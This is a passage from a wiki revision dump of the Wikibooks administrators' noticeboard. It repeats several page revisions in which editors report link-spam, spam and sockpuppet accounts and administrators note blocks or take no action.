talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:32, 7 September 2026 (UTC) == Idontknowidkh reported by MathXplore == * {{userlinks|Idontknowidkh}} online shopping spam, [[Special:AbuseLog/315400]] <!-- USERREPORTED:/Idontknowidkh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:49, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:33, 7 September 2026 (UTC) == Ridhisharma1999 reported by MathXplore == * {{userlinks|Ridhisharma1999}} Link spam, [[Special:AbuseLog/315435]] <!-- USERREPORTED:/Ridhisharma1999/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:01, 9 September 2026 (UTC) :{{Done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 12:02, 9 September 2026 (UTC) == Thenaoriudaipur reported by MathXplore == * {{userlinks|Thenaoriudaipur}} Link spam, [[Special:AbuseLog/315473]] <!-- USERREPORTED:/Thenaoriudaipur/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:47, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == Networkkingss reported by MathXplore == * {{userlinks|Networkkingss}} Link spam, [[Special:AbuseLog/315458]] <!-- USERREPORTED:/Networkkingss/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:50, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == ~2026-49226-92 reported by MathXplore == * {{anonlinks|~2026-49226-92}} Vandalism <!-- USERREPORTED:/~2026-49226-92/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:57, 10 September 2026 (UTC) : {{done}}. I also nuked all pages created by this user and their connected temporary accounts based on their associated IP(s). [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:48, 10 September 2026 (UTC) == ~2026-49632-08 reported by MathXplore == * {{anonlinks|~2026-49632-08}} Spam <!-- USERREPORTED:/~2026-49632-08/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:08, 13 September 2026 (UTC) :{{done}} [[User:JackPotte|JackPotte]] ([[User talk:JackPotte|discuss]] • [[Special:Contributions/JackPotte|contribs]]) 06:39, 13 September 2026 (UTC) == Happyherbal26 reported by MathXplore == * {{userlinks|Happyherbal26}} Link spam, [[Special:AbuseLog/315518]] <!-- USERREPORTED:/Happyherbal26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Shahadotdl reported by MathXplore == * {{userlinks|Shahadotdl}} Link spam, [[Special:AbuseLog/315516]] <!-- USERREPORTED:/Shahadotdl/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Sonarbanglahc reported by MathXplore == * {{userlinks|Sonarbanglahc}} Spam <!-- USERREPORTED:/Sonarbanglahc/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:41, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:47, 15 September 2026 (UTC) == Mehedii1234 reported by MathXplore == * {{userlinks|Mehedii1234}} Spam <!-- USERREPORTED:/Mehedii1234/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:42, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:46, 15 September 2026 (UTC) == BhardwajGardening reported by MathXplore == * {{userlinks|BhardwajGardening}} Link spam, [[Special:AbuseLog/315583]] <!-- USERREPORTED:/BhardwajGardening/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:02, 17 September 2026 (UTC) == Manusheikh reported by MathXplore == * {{userlinks|Manusheikh}} Link spam, [[Special:AbuseLog/315575]] <!-- USERREPORTED:/Manusheikh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:03, 17 September 2026 (UTC) == Wrankerseo reported by MathXplore == * {{userlinks|Wrankerseo}} Link spam, [[Special:AbuseLog/315564]], [[Special:AbuseLog/315567]], [[Special:AbuseLog/315563]] <!-- USERREPORTED:/Wrankerseo/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:05, 17 September 2026 (UTC) kbqpk7wsjy4f0vkw6hcax7s1zx250d1 4670652 4670639 2026-09-17T13:35:11Z Kittycataclysm 3371989 /* Wrankerseo reported by MathXplore */ Reply 4670652 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{shortcut|WB:AN|WB:AA}} {{TOC left}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Administrative Assistance/Archives/%(year)d/%(monthname)s |algo = old(14d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 }} {{ombox|type=content|text='''To request a rename or usurpation''', go to the global request page at Meta [[meta:SRUC|here]].<br />''Please do not post those requests here!''}} {{Clear}} Welcome to the '''Administrative Assistance reading room'''. You can request assistance from [[WB:ADMIN|administrators]] for handling a variety of problems here and alert them about problems which may require special actions not normally used during regular content editing. Please be patient as administrators are often quite busy with either their own projects or trying to perform general maintenance and cleanup. You can deal with most vandalism yourself: [[Wikibooks:Dealing with vandalism|fix it]], then [[Wikibooks:Templates/User_notices|warn the user]]. If there is repeated vandalism by one user, lots of vandalism on a single page, or vandalism from many users, tell an admin here, or in [irc://irc.freenode.net/wikibooks #wikibooks] (say <code>!admin</code> to get attention). For more general questions and assistance that doesn't require an administrator, please use the [[WB:HELP|Assistance Reading Room]]. {{clear}} [[Category:Reading room]] == Gloriagulshan reported by MathXplore == * {{userlinks|Gloriagulshan}} [[:w:Wikipedia:Sockpuppet investigations/Kagoz]] ([[Special:Contributions/Tikapara]], [[Wikibooks:Reading_room/Administrative_Assistance/Archives/2025/September#Tikapara_reported_by_MathXplore]]), created page [[Introduction to Filmmaking]] Contributed by Ali Zulfikar Zahedi ([[:w:Ali Zulfikar Zahedi]], [[:w:simple:Ali Zulfikar Zahedi]]) <!-- USERREPORTED:/Gloriagulshan/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 03:56, 29 August 2026 (UTC) :I believe this page is intended as instructional material for learning filmmaking rather than as an encyclopedic article. I will revise the page to focus on practical filmmaking concepts, methods, and processes in accordance with the purpose of Wikibooks. [[User:Gloriagulshan|Gloriagulshan]] ([[User talk:Gloriagulshan|discuss]] • [[Special:Contributions/Gloriagulshan|contribs]]) 04:20, 29 August 2026 (UTC) : Cc: {{ping|SHB2000|MarcGarver}} [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:41, 29 August 2026 (UTC) ::I see the account is glocked, and there are no sleepers that aren't already locked, so nothing more to do. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:18, 3 September 2026 (UTC) == Mohansai00116 reported by MathXplore == * {{userlinks|Mohansai00116}} Link spam, [[Special:AbuseLog/315335]] <!-- USERREPORTED:/Mohansai00116/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:09, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:04, 3 September 2026 (UTC) == Fatemai6 reported by MathXplore == * {{userlinks|Fatemai6}} Link spam, [[Special:AbuseLog/315329]] <!-- USERREPORTED:/Fatemai6/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:10, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan147 reported by MathXplore == * {{userlinks|Kamrulhasan147}} Link spam, [[Special:AbuseLog/315327]], [[Special:Contributions/Kamrulhasan142]] <!-- USERREPORTED:/Kamrulhasan147/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:12, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan142 reported by MathXplore == * {{userlinks|Kamrulhasan142}} Link spam, [[Special:AbuseLog/315295]], [[Special:Contributions/Kamrulhasan147]] <!-- USERREPORTED:/Kamrulhasan142/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:13, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Twenty7incgs reported by MathXplore == * {{userlinks|Twenty7incgs}} Link spam, [[Special:AbuseLog/315323]] <!-- USERREPORTED:/Twenty7incgs/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:14, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Tailleash reported by MathXplore == * {{userlinks|Tailleash}} Link spam, [[Special:AbuseLog/315318]] <!-- USERREPORTED:/Tailleash/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:15, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Md Akash Mia12 reported by MathXplore == * {{userlinks|Md Akash Mia12}} Link spam, [[Special:AbuseLog/315299]], [[Special:AbuseLog/315298]] <!-- USERREPORTED:/Md Akash Mia12/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:17, 2 September 2026 (UTC) : {{done|Page deleted}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:03, 3 September 2026 (UTC) == Vapesitefiftybar reported by MathXplore == * {{userlinks|Vapesitefiftybar}} Link spam, [[Special:AbuseLog/315338]] <!-- USERREPORTED:/Vapesitefiftybar/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:40, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Myteethtime1 reported by MathXplore == * {{userlinks|Myteethtime1}} Spam <!-- USERREPORTED:/Myteethtime1/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:54, 4 September 2026 (UTC) : {{Done}} by MarcGarver. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Rajstartupservices reported by MathXplore == * {{userlinks|Rajstartupservices}} Link spam, [[Special:AbuseLog/315363]] <!-- USERREPORTED:/Rajstartupservices/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 14:33, 4 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Reazulkarim545456 reported by MathXplore == * {{userlinks|Reazulkarim545456}} Link spam, [[Special:AbuseLog/315377]] <!-- USERREPORTED:/Reazulkarim545456/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:39, 6 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:19, 6 September 2026 (UTC) == Fahmidafy reported by MathXplore == * {{userlinks|Fahmidafy}} Link spam, [[Special:AbuseLog/315378]] <!-- USERREPORTED:/Fahmidafy/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:40, 6 September 2026 (UTC) : The filter stopped them three times, no action taken. Please re-report if they continue spamming. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 6 September 2026 (UTC) == Grow spark digital reported by MathXplore == * {{userlinks|Grow spark digital}} Link spam, [[Special:AbuseLog/315381]] <!-- USERREPORTED:/Grow spark digital/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:42, 6 September 2026 (UTC) : Only one filter hit, seems stale. Please re-report if they continue to spam. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:49, 6 September 2026 (UTC) == Korigosnacks reported by MathXplore == * {{userlinks|Korigosnacks}} Link spam, [[Special:AbuseLog/315383]] <!-- USERREPORTED:/Korigosnacks/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:32, 6 September 2026 (UTC) : Stale after only two filter hits and no edits. Please re-report if they spam later. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:56, 6 September 2026 (UTC) == Athoyislam reported by MathXplore == * {{userlinks|Athoyislam}} Spam <!-- USERREPORTED:/Athoyislam/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:47, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:31, 7 September 2026 (UTC) == Jamal123lll reported by MathXplore == * {{userlinks|Jamal123lll}} Link spam, [[Special:AbuseLog/315402]] <!-- USERREPORTED:/Jamal123lll/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:48, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:32, 7 September 2026 (UTC) == Idontknowidkh reported by MathXplore == * {{userlinks|Idontknowidkh}} online shopping spam, [[Special:AbuseLog/315400]] <!-- USERREPORTED:/Idontknowidkh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:49, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:33, 7 September 2026 (UTC) == Ridhisharma1999 reported by MathXplore == * {{userlinks|Ridhisharma1999}} Link spam, [[Special:AbuseLog/315435]] <!-- USERREPORTED:/Ridhisharma1999/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:01, 9 September 2026 (UTC) :{{Done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 12:02, 9 September 2026 (UTC) == Thenaoriudaipur reported by MathXplore == * {{userlinks|Thenaoriudaipur}} Link spam, [[Special:AbuseLog/315473]] <!-- USERREPORTED:/Thenaoriudaipur/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:47, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == Networkkingss reported by MathXplore == * {{userlinks|Networkkingss}} Link spam, [[Special:AbuseLog/315458]] <!-- USERREPORTED:/Networkkingss/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:50, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == ~2026-49226-92 reported by MathXplore == * {{anonlinks|~2026-49226-92}} Vandalism <!-- USERREPORTED:/~2026-49226-92/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:57, 10 September 2026 (UTC) : {{done}}. I also nuked all pages created by this user and their connected temporary accounts based on their associated IP(s). [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:48, 10 September 2026 (UTC) == ~2026-49632-08 reported by MathXplore == * {{anonlinks|~2026-49632-08}} Spam <!-- USERREPORTED:/~2026-49632-08/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:08, 13 September 2026 (UTC) :{{done}} [[User:JackPotte|JackPotte]] ([[User talk:JackPotte|discuss]] • [[Special:Contributions/JackPotte|contribs]]) 06:39, 13 September 2026 (UTC) == Happyherbal26 reported by MathXplore == * {{userlinks|Happyherbal26}} Link spam, [[Special:AbuseLog/315518]] <!-- USERREPORTED:/Happyherbal26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Shahadotdl reported by MathXplore == * {{userlinks|Shahadotdl}} Link spam, [[Special:AbuseLog/315516]] <!-- USERREPORTED:/Shahadotdl/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Sonarbanglahc reported by MathXplore == * {{userlinks|Sonarbanglahc}} Spam <!-- USERREPORTED:/Sonarbanglahc/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:41, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:47, 15 September 2026 (UTC) == Mehedii1234 reported by MathXplore == * {{userlinks|Mehedii1234}} Spam <!-- USERREPORTED:/Mehedii1234/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:42, 15 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:46, 15 September 2026 (UTC) == BhardwajGardening reported by MathXplore == * {{userlinks|BhardwajGardening}} Link spam, [[Special:AbuseLog/315583]] <!-- USERREPORTED:/BhardwajGardening/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:02, 17 September 2026 (UTC) == Manusheikh reported by MathXplore == * {{userlinks|Manusheikh}} Link spam, [[Special:AbuseLog/315575]] <!-- USERREPORTED:/Manusheikh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:03, 17 September 2026 (UTC) == Wrankerseo reported by MathXplore == * {{userlinks|Wrankerseo}} Link spam, [[Special:AbuseLog/315564]], [[Special:AbuseLog/315567]], [[Special:AbuseLog/315563]] <!-- USERREPORTED:/Wrankerseo/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:05, 17 September 2026 (UTC) :{{done|Blocked}} —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:35, 17 September 2026 (UTC) qh8r1wgd71o0jp80jojde3uqqvbx4dh 4670653 4670652 2026-09-17T13:35:56Z Kittycataclysm 3371989 /* Manusheikh reported by MathXplore */ Reply 4670653 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{shortcut|WB:AN|WB:AA}} {{TOC left}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Administrative Assistance/Archives/%(year)d/%(monthname)s |algo = old(14d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 }} {{ombox|type=content|text='''To request a rename or usurpation''', go to the global request page at Meta [[meta:SRUC|here]].<br />''Please do not post those requests here!''}} {{Clear}} Welcome to the '''Administrative Assistance reading room'''. You can request assistance from [[WB:ADMIN|administrators]] for handling a variety of problems here and alert them about problems which may require special actions not normally used during regular content editing. Please be patient as administrators are often quite busy with either their own projects or trying to perform general maintenance and cleanup. You can deal with most vandalism yourself: [[Wikibooks:Dealing with vandalism|fix it]], then [[Wikibooks:Templates/User_notices|warn the user]]. If there is repeated vandalism by one user, lots of vandalism on a single page, or vandalism from many users, tell an admin here, or in [irc://irc.freenode.net/wikibooks #wikibooks] (say <code>!admin</code> to get attention). For more general questions and assistance that doesn't require an administrator, please use the [[WB:HELP|Assistance Reading Room]]. {{clear}} [[Category:Reading room]] == Gloriagulshan reported by MathXplore == * {{userlinks|Gloriagulshan}} [[:w:Wikipedia:Sockpuppet investigations/Kagoz]] ([[Special:Contributions/Tikapara]], [[Wikibooks:Reading_room/Administrative_Assistance/Archives/2025/September#Tikapara_reported_by_MathXplore]]), created page [[Introduction to Filmmaking]] Contributed by Ali Zulfikar Zahedi ([[:w:Ali Zulfikar Zahedi]], [[:w:simple:Ali Zulfikar Zahedi]]) <!-- USERREPORTED:/Gloriagulshan/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 03:56, 29 August 2026 (UTC) :I believe this page is intended as instructional material for learning filmmaking rather than as an encyclopedic article. I will revise the page to focus on practical filmmaking concepts, methods, and processes in accordance with the purpose of Wikibooks. [[User:Gloriagulshan|Gloriagulshan]] ([[User talk:Gloriagulshan|discuss]] • [[Special:Contributions/Gloriagulshan|contribs]]) 04:20, 29 August 2026 (UTC) : Cc: {{ping|SHB2000|MarcGarver}} [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:41, 29 August 2026 (UTC) ::I see the account is glocked, and there are no sleepers that aren't already locked, so nothing more to do. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:18, 3 September 2026 (UTC) == Mohansai00116 reported by MathXplore == * {{userlinks|Mohansai00116}} Link spam, [[Special:AbuseLog/315335]] <!-- USERREPORTED:/Mohansai00116/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:09, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:04, 3 September 2026 (UTC) == Fatemai6 reported by MathXplore == * {{userlinks|Fatemai6}} Link spam, [[Special:AbuseLog/315329]] <!-- USERREPORTED:/Fatemai6/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:10, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan147 reported by MathXplore == * {{userlinks|Kamrulhasan147}} Link spam, [[Special:AbuseLog/315327]], [[Special:Contributions/Kamrulhasan142]] <!-- USERREPORTED:/Kamrulhasan147/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:12, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan142 reported by MathXplore == * {{userlinks|Kamrulhasan142}} Link spam, [[Special:AbuseLog/315295]], [[Special:Contributions/Kamrulhasan147]] <!-- USERREPORTED:/Kamrulhasan142/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:13, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Twenty7incgs reported by MathXplore == * {{userlinks|Twenty7incgs}} Link spam, [[Special:AbuseLog/315323]] <!-- USERREPORTED:/Twenty7incgs/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:14, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Tailleash reported by MathXplore == * {{userlinks|Tailleash}} Link spam, [[Special:AbuseLog/315318]] <!-- USERREPORTED:/Tailleash/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:15, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Md Akash Mia12 reported by MathXplore == * {{userlinks|Md Akash Mia12}} Link spam, [[Special:AbuseLog/315299]], [[Special:AbuseLog/315298]] <!-- USERREPORTED:/Md Akash Mia12/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:17, 2 September 2026 (UTC) : {{done|Page deleted}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:03, 3 September 2026 (UTC) == Vapesitefiftybar reported by MathXplore == * {{userlinks|Vapesitefiftybar}} Link spam, [[Special:AbuseLog/315338]] <!-- USERREPORTED:/Vapesitefiftybar/ --> 